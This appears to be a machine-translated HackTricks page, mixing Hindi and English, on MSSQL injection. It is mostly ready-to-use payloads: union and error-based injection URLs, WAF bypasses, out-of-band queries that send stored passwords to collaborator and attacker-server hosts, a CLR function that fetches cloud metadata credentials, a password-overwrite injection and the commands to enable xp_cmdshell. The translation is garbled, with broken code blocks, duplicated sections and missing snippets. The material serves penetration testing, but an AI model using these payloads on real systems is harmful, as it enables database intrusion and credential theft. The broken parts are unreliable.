hacktricks/pentesting-web/sql-injection/mssql-injection.md

23 KiB

MSSQL Injection

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

Active Directory enumeration

एक MSSQL सर्वर के अंदर SQL इन्जेक्शन के माध्यम से डोमेन उपयोगकर्ताओं को जांचना संभव हो सकता है निम्नलिखित MSSQL फंक्शन का उपयोग करके:

  • SELECT DEFAULT_DOMAIN(): वर्तमान डोमेन नाम प्राप्त करें।
  • master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator')): यदि आप डोमेन का नाम जानते हैं (उदाहरण के लिए DOMAIN) तो यह फ़ंक्शन प्रशासक उपयोगकर्ता Administrator का SID हेक्स प्रारूप में लौटाएगा। यह 0x01050000000[...]0000f401 जैसा दिखेगा, ध्यान दें कि अंतिम 4 बाइट नंबर 500 हैं जो बड़े इंडियन प्रारूप में है, जो प्रशासक उपयोगकर्ता का सामान्य आईडी है
    यह फ़ंक्शन आपको डोमेन की आईडी पता करने की अनुमति देगा (अंतिम 4 बाइट को छोड़कर सभी बाइट्स)।
  • SUSER_SNAME(0x01050000000[...]0000e803) : यह फ़ंक्शन निर्दिष्ट आईडी का उपयोगकर्ता नाम लौटाएगा (यदि कोई हो), इस मामले में 0000e803 बड़े इंडियन में == 1000 (आम तौर पर यह पहले नियमित उपयोगकर्ता आईडी का आईडी है)। फिर आप सोच सकते हैं कि आप 1000 से 2000 तक उपयोगकर्ता आईडी को ब्रूट-फ़ोर्स कर सकते हैं और संभावित रूप से डोमेन के सभी उपयोगकर्ताओं के उपयोगकर्ता नाम प्राप्त कर सकते हैं। उदाहरण के रूप में निम्नलिखित फ़ंक्शन का उपयोग करके:
def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
user = struct.pack('<I', int(n))
user = user.hex()
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000

वैकल्पिक त्रुटि-आधारित वेक्टर्स

त्रुटि-आधारित SQL इन्जेक्शन आम तौर पर +AND+1=@@version-- जैसे निर्माणों की तरह होती हैं और वेरिएंट्स जो "OR" ऑपरेटर पर आधारित हैं। इस तरह के अभिव्यक्तियों को शामिल करने वाले क्वेरी आम तौर पर WAFs द्वारा अवरोधित किए जाते हैं। एक बायपास के रूप में, खोजी गई डेटा पर डेटा प्रकार परिवर्तन त्रुटि को ट्रिगर करने वाले विशिष्ट फ़ंक्शन कॉल के परिणाम के साथ %2b वर्ण का उपयोग करें।

इन तरह के फ़ंक्शनों के कुछ उदाहरण:

  • SUSER_NAME()
  • USER_NAME()
  • PERMISSIONS()
  • DB_NAME()
  • FILE_NAME()
  • TYPE_NAME()
  • COL_NAME()

फ़ंक्शन USER_NAME() का उपयोग का उदाहरण:

https://vuln.app/getItem?id=1'%2buser_name(@@version)--

SSRF

ये SSRF ट्रिक्स यहाँ से ली गई थीं

fn_xe_file_target_read_file

इसे सर्वर पर VIEW SERVER STATE अनुमति की आवश्यकता है।

https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
# Or doing
Use master;
EXEC sp_helprotect 'fn_xe_file_target_read_file';

fn_get_audit_file

इसे CONTROL SERVER अनुमति की आवश्यकता होती है।

https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_get_audit_file';

fn_trace_gettabe

इसे CONTROL SERVER अनुमति की आवश्यकता है।

https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_trace_gettabe';

xp_dirtree, xp_fileexists, xp_subdirs

जैसे कि माइक्रोसॉफ्ट द्वारा आधिकारिक रूप से दस्तावेज़ीकृत नहीं किया गया है, xp_dirtree जैसी स्टोर्ड प्रोसीजर्स को अन्य लोगों ने ऑनलाइन वर्णित किया है क्योंकि ये MSSQL के भीतर नेटवर्क ऑपरेशन में उपयोगी हैं। इन प्रक्रियाओं का उपयोग आउट ऑफ बैंड डेटा निकासी में अक्सर किया जाता है, जैसा कि विभिन्न उदाहरणों और पोस्टों में प्रदर्शित किया गया है।

उदाहरण के लिए, xp_dirtree स्टोर्ड प्रोसीजर, नेटवर्क अनुरोध करने के लिए उपयोग किया जाता है, लेकिन यह केवल TCP पोर्ट 445 पर सीमित है। पोर्ट नंबर संशोधित नहीं किया जा सकता है, लेकिन यह नेटवर्क शेयर से पढ़ने की अनुमति देता है। उपयोग निम्नलिखित SQL स्क्रिप्ट में प्रदर्शित किया गया है:

DECLARE @user varchar(100);
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"');

यह उल्लेखनीय है कि यह विधि सभी सिस्टम कॉन्फ़िगरेशन पर काम नहीं कर सकती, जैसे कि Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64) जो डिफ़ॉल्ट सेटिंग्स के साथ Windows Server 2016 Datacenter पर चल रहा है।

इसके अतिरिक्त, master..xp_fileexist और xp_subdirs जैसे वैकल्पिक स्टोर्ड प्रोसीजर हैं जो समान परिणाम प्राप्त कर सकते हैं। xp_fileexist पर अधिक विवरण TechNet article में उपलब्ध है।

xp_cmdshell

स्पष्ट रूप से आप xp_cmdshell का उपयोग करके कुछ ऐसा एक्सीक्यूट कर सकते हैं जो SSRF को ट्रिगर करता है। अधिक जानकारी के लिए पृष्ठ में संबंधित खंड पढ़ें:

{% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %} pentesting-mssql-microsoft-sql-server {% endcontent-ref %}

MSSQL उपयोगकर्ता परिभाषित कार्य - SQLHttp

CLR UDF (Common Language Runtime User Defined Function) बनाना, जो किसी भी .NET भाषा में लिखा गया कोड है और एक DLL में कंपाइल किया गया है, ताकि इसे MSSQL में लोड करने के लिए निर्मित कार्यों को निष्पादित करने के लिए dbo एक्सेस की आवश्यकता होती है। इसका मतलब है कि यह सामान्यत: तब संभव होता है जब डेटाबेस कनेक्शन sa के रूप में या एडमिनिस्ट्रेटर भूमिका के साथ की जाती है।

एक विजुअल स्टूडियो परियोजना और स्थापना निर्देश इस गिटहब रिपॉजिटरी में प्रदान किए गए हैं ताकि MSSQL में बाइनरी को CLR एसेम्बली के रूप में लोड करने की प्रक्रिया को सुविधाजनक बनाया जा सके, जिससे MSSQL में से HTTP GET अनुरोधों को निष्पादित करने की संभावना हो।

इस कार्यक्षमता का मूल भाग http.cs फ़ाइल में संग्रहीत है, जो WebClient वर्ग का उपयोग करता है एक GET अनुरोध को निष्पादित करने और सामग्री प्राप्त करने के लिए जैसा दिखाया गया है:

using System.Data.SqlTypes;
using System.Net;

public partial class UserDefinedFunctions
{
[Microsoft.SqlServer.Server.SqlFunction]
public static SqlString http(SqlString url)
{
var wc = new WebClient();
var html = wc.DownloadString(url.Value);
return new SqlString(html);
}
}

पहले CREATE ASSEMBLY SQL कमांड को निष्पादित करने से पहले, निम्नलिखित SQL स्निपेट को चलाने की सलाह दी जाती है ताकि असेम्बली के SHA512 हैश को सर्वर की विश्वसनीय असेम्बलियों की सूची में जोड़ा जा सके (जिसे select * from sys.trusted_assemblies; के माध्यम से देखा जा सकता है):

EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';

जब एसेम्बली सफलतापूर्वक जोड़ दिया जाता है और फ़ंक्शन बनाया जाता है, तो निम्नलिखित SQL कोड का उपयोग HTTP अनुरोध करने के लिए किया जा सकता है:

DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);

त्वरित शोध: एक ही क्वेरी में पूरी तालिका सामग्री प्राप्त करना

यहाँ से ट्रिक.

एक संक्षिप्त विधि जिससे एक ही क्वेरी में किसी तालिका की पूरी सामग्री निकाली जा सकती है, उसमें FOR JSON शर्त का उपयोग शामिल है। यह दृष्टिकोण FOR XML शर्त का उपयोग करने से अधिक संक्षेपित है, जिसमें "raw" जैसा विशिष्ट मोड आवश्यक होता है। FOR JSON शर्त को उसकी संक्षिप्तता के लिए पसंद किया जाता है।

यहाँ वर्तमान डेटाबेस से स्कीमा, तालिकाएं, और स्तंभ प्राप्त करने का तरीका है:

https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
In situations where error-based vectors are used, it's crucial to provide an alias or a name. This is because the output of expressions, if not provided with either, cannot be formatted as JSON. Here's an example of how this is done:

```sql
### MSSQL Injection

#### Union-Based MSSQL Injection

To perform Union-Based MSSQL Injection, follow these steps:

1. Identify the vulnerable parameter in the URL, e.g., `id=1`.
2. Use the payload `1' and 1=(select concat_ws(0x3a,table_schema,table_name,column_name)a from information_schema.columns for json auto)--` in the parameter.

Retrieving the Current Query

Trick from here.

For users granted the VIEW SERVER STATE permission on the server, it's possible to see all executing sessions on the SQL Server instance. However, without this permission, users can only view their current session. The currently executing SQL query can be retrieved by accessing sys.dm_exec_requests and sys.dm_exec_sql_text:

```html
यहाँ एक SQL Injection हमला दिखाया गया है: https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null

To check if you have the VIEW SERVER STATE permission, the following query can be used:

```sql
```sql
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';

## **Little tricks for WAF bypasses**

[Tricks also from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)

Non-standard whitespace characters: %C2%85 или %C2%A0:

<p>यहाँ एक SQL Injection है जो MSSQL डेटाबेस पर काम करती है।</p>

Scientific (0e) and hex (0x) notation for obfuscating UNION:

https://vuln.app/getItem?id=0eunion+select+null,@@version,null--

https://vuln.app/getItem?id=0xunion+select+null,@@version,null--

A period instead of a whitespace between FROM and a column name:

MSSQL Injection

Union-Based SQL Injection

To perform a union-based SQL injection attack on a MSSQL database, you can use the following URL format:

https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--

यूनियन-आधारित SQL इन्जेक्शन

MSSQL डेटाबेस पर यूनियन-आधारित SQL इन्जेक्शन हमला करने के लिए, आप निम्नलिखित URL प्रारूप का उपयोग कर सकते हैं:

https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--

\N separator between SELECT and a throwaway column:

MSSQL Injection

Union-Based SQL Injection

To perform a union-based SQL injection on a MSSQL database, you can use the following payload in the vulnerable parameter:

https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--

यूनियन-आधारित SQL इन्जेक्शन

MSSQL डेटाबेस पर यूनियन-आधारित SQL इन्जेक्शन करने के लिए, आप विकल्पित पैरामीटर में निम्नलिखित पेलोड का उपयोग कर सकते हैं:


### WAF Bypass with unorthodox stacked queries

According to [**this blog post**](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/) it's possible to stack queries in MSSQL without using ";":

```sql
```sql
SELECT 'a' SELECT 'b'

So for example, multiple queries such as:

```sql

हैकर्स द्वारा उपयोग किया जाने वाला कोड:

Can be reduced to:

```sql
use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]

Therefore it could be possible to bypass different WAFs that doesn't consider this form of stacking queries. For example:

एक अनर्थक exec() जोड़ें और WAF को यह मानने के लिए बनाएं कि यह एक मान्य क्वेरी नहीं है

admina'union select 1,'admin','testtest123'exec('select 1')--

यह होगा:

SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123' exec('select 1')--'

अजीब ढंग से बनाई गई क्वेरी का उपयोग करना

admin'exec('update[users]set[password]=''a''')--

यह होगा:

SELECT id, username, password FROM users WHERE username = 'admin' exec('update[users]set[password]=''a''')--'

या xp_cmdshell को सक्षम करना

admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--

यह होगा

select * from users where username = ' admin' exec('sp_configure''show advanced option'',''1''reconfigure') exec('sp_configure''xp_cmdshell'',''1''reconfigure')--


## References

* [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
* [https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/)

<details>

<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Other ways to support HackTricks:

* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>